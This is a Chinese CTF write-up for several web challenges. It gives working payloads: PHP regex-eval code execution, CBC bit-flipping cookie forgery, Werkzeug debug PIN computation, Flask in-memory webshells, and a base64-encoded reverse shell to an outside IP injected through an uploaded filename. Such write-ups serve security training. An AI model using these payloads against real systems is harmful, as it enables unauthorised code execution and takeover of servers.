一部分web
Please_RCE_Me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if ($_GET ['moran' ] === 'flag' ){ highlight_file (__FILE__ ); if (isset ($_POST ['task' ])&&isset ($_POST ['flag' ])){ $str1 = $_POST ['task' ]; $str2 = $_POST ['flag' ]; if (preg_match ('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i' ,$str1 ) || strlen ($str2 ) != 19 || preg_match ('/please_give_me_flag/' ,$str2 )){ die ('hacker!' ); }else { preg_replace ("/please_give_me_flag/ei" ,$_POST ['task' ],$_POST ['flag' ]); } } }else { echo "moran want a flag.</br>(?moran=flag)" ; }
三种解法,第一种就是无参RCE,第二种就是正常命令执行(通过)
1.利用(scandir("/"))
列出指定目录中的文件和目录,然后var_dump
打印出来:
flag=please_GIVE_me_flag&task=var_dump(scandir("/"))
2.看下请求头是按什么顺序:
flag=please_GIVE_me_flag&task=print_r(getallheaders())
这里以Host
和User-Agent
开头,Host
不能改,所以:把UA头改成/flag
然后highlight_file(next(getallheaders()))
直接输出/flag
的内容:
或者直接加个flag:/flag
头到最开始然后highlight_file((pos(getallheaders())));
这个pos
就是取第一个头。
第二种方法就是十六进制直接绕过关键字检测:
print(file_get_contents("\x2f\x66\x6c\x61\x67"))
或者highlight_file("\x2f\x66\x6c\x61\x67")
第三种就官方用的那个array_map()
函数
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls
flipPin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from flask import Flask, request, abortfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpadfrom flask import Flask, request, Responsefrom base64 import b64encode, b64decodeimport json default_session = '{"admin": 0, "username": "user1"}' key = get_random_bytes(AES.block_size)def encrypt (session ): iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8' ), AES.block_size)))def decrypt (session ): raw = b64decode(session) cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size]) try : res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8' ) return res except Exception as e: print (e) app = Flask(__name__) filename_blacklist = { 'self' , 'cgroup' , 'mountinfo' , 'env' , 'flag' }@app.route("/" ) def index (): session = request.cookies.get('session' ) if session is None : res = Response( "welcome to the FlipPIN server try request /hint to get the hint" ) res.set_cookie('session' , encrypt(default_session).decode()) return res else : return 'have a fun' @app.route("/hint" ) def hint (): res = Response(open (__file__).read(), mimetype='text/plain' ) return res@app.route("/read" ) def file (): session = request.cookies.get('session' ) if session is None : res = Response("you are not logged in" ) res.set_cookie('session' , encrypt(default_session)) return res else : plain_session = decrypt(session) if plain_session is None : return 'don\'t hack me' session_data = json.loads(plain_session) if session_data['admin' ] : filename = request.args.get('filename' ) if any (blacklist_str in filename for blacklist_str in filename_blacklist): abort(403 , description='Access to this file is forbidden.' ) try : with open (filename, 'r' ) as f: return f.read() except FileNotFoundError: abort(404 , description='File not found.' ) except Exception as e: abort(500 , description=f'An error occurred: {str (e)} ' ) else : return 'You are not an administrator' if __name__ == "__main__" : app.run(host="0.0.0.0" , port=9091 , debug=True )
给了session
的加解密算法(AES,工作在CBC,iv
和key
完全随机)。首先要解决的问题就是如何进行session
的伪造使得我们的session
传过去被解密后admin
字段的值为1
参考文章 ,CBC字节反转攻击:
简单说就是我们可以通过修改上一组对应位置的密文实现修改当前组对应位置的明文:
把这东西套进题里:其实A
就是初始向量iv
对应位置的密文,对这个(上一组的)密文要怎么进行处理呢?把它和原有的明文异或,再和我们目标明文值异或。这时(下一组)对应位置的解密过程就成了最后一个式子,达到了在不知密钥的情况下修改密文的目的。
iv
这个初始向量没加密,直接在它这里修改。对于{"admin":0}
里0
这位在第11位,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests from base64 import b64decode, b64encode from Crypto.Util.number import long_to_bytes url = "http://hnctf.imxbt.cn:41219/" response = requests.get(url) original = b'{"admin": 0}' revised = b'{"admin": 1}' session_cookie = response.cookies.get("session" ) print (f"Session cookie: {session_cookie} " ) session = b64decode(session_cookie) iv = session[:16 ] cipher = session[16 :] print (f"{iv = } " ) newb = ord ('0' ) ^ ord ('1' ) ^ iv[10 ] orib = iv[11 ] print (f"{orib = } " ) print (f"{newb = } " ) new_iv = iv[:10 ] + long_to_bytes(newb) + iv[11 :] print (f"{new_iv = } " ) new_sess = b64encode(new_iv + cipher) print (f"{new_sess = } " )
当然也有别的修改方法:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsfrom base64 import b64decode, b64encode url = "http://localhost:8000/" default_session = '{"admin": 0, "username": "guest"}' res = requests.get(url) c = bytearray (b64decode(res.cookies["session" ])) c[default_session.index("0" )] ^= 1 evil = b64encode(c).decode() res = requests.get(url, cookies={"session" : evil})print (res.text)
然后就是算Pin
码,这里进控制台有两种方法,要么/read
路由直接啥也不加就会报错,要么直接/console
,我这里用第一种方法:
参考文章
username
获取,要么root
要么ctfUser
modname
一般默认flask.app
flask下app.py的绝对路径
:/usr/lib/python3.9/site-packages/flask/app.py
str(uuid.getnode()) MAC地址
读取这两个地址:/sys/class/net/eth0/address 或者 /sys/class/net/ens33/address
,这题用的第一个:
02:42:ac:11:00:03
machine-id
:拼接/proc/sys/kernel/random/boot_id
和/proc/self/cgroup
,但黑名单过滤了self
和cgroup
。
绕过参考 ,所以换成换成/proc/1/cpuset
后面就直接抄其它师傅的脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import hashlibfrom itertools import chain probably_public_bits = [ 'ctfUser' , 'flask.app' , 'Flask' , '/usr/lib/python3.9/site-packages/flask/app.py' ] private_bits = [ str (int ("22:32:4d:a2:8c:5c" .replace(":" , "" ), 16 )), 'dd0fe358-1d2b-4bb4-90d1-5fee6bcf533f94024dd3686b6d6b6c42ca63810be24f999a5df85001add714e07927237cf525' h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = numprint (rv)
最后注意flag
只有root
能读,去翻环境变量:
ezFlask
只能进行一次命令执行且无回显/部分命令没权限,直接打个内存马进去:
python内存马分析
app.add_url_rule('/shell','shell',lambda:__import__('os').popen("cat /flag").read())
放个参数也行:
app.add_url_rule('/test','test',lambda:__import__('os').popen(request.args.get('cmd')).read())
,然后cmd
执行命令
或者类似SSTI
这种形式:
1 cmd=render_template_string(" {{url_for.__globals__ ['__builtins__']['eval'](\"app.add_url_rule('/get', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())\" ,{'_request_ctx_stack' :url_for.__globals__['_request_ctx_stack'],'app' :url_for.__globals__['current_app']})}} ")
GoJava robots.txt
,下载main-old.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 package mainimport ( "io" "log" "mime/multipart" "net/http" "os" "strings" )var blacklistChars = []rune {'<' , '>' , '"' , '\'' , '\\' , '?' , '*' , '{' , '}' , '\t' , '\n' , '\r' }func main () { http.HandleFunc("/gojava" , compileJava) fs := http.FileServer(http.Dir("." )) http.Handle("/" , fs) log.Println("Server started on :80" ) log.Fatal(http.ListenAndServe(":80" , nil )) }func isFilenameBlacklisted (filename string ) bool { for _, char := range filename { for _, blackChar := range blacklistChars { if char == blackChar { return true } } } return false }func compileJava (w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed" , http.StatusMethodNotAllowed) return } err := r.ParseMultipartForm(10 << 20 ) if err != nil { http.Error(w, "Error parsing form" , http.StatusInternalServerError) return } file, handler, err := r.FormFile("file" ) if err != nil { http.Error(w, "Error retrieving file" , http.StatusBadRequest) return } defer file.Close() if isFilenameBlacklisted(handler.Filename) { http.Error(w, "Invalid filename: contains blacklisted character" , http.StatusBadRequest) return } if !strings.HasSuffix(handler.Filename, ".java" ) { http.Error(w, "Invalid file format, please select a .java file" , http.StatusBadRequest) return } err = saveFile(file, "./upload/" +handler.Filename) if err != nil { http.Error(w, "Error saving file" , http.StatusInternalServerError) return } }func saveFile (file multipart.File, filePath string ) error { f, err := os.Create(filePath) if err != nil { return err } defer f.Close() _, err = io.Copy(f, file) if err != nil { return err } return nil }
对用户名进行比较严格的过滤,这里猜测通过用户名实现RCE
。(感觉知识掌握的还是不太好,当时没想到这个利用点:既然他对用户名过滤了这么多,他为什么这么做呢?)。后端逻辑可能类似执行javac filename.java
这种。
反弹shell
:
1 1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNTUuMTQuMTM0LzkwMDEgMD4mMSIgfCBiYXNo= | base64 -d | bash;1.java
提示flag在/root
下,/memorandum
下存在密码,su
切到root
再输入密码即可读取flag
:
官方wp
没弹shell
:
Gojava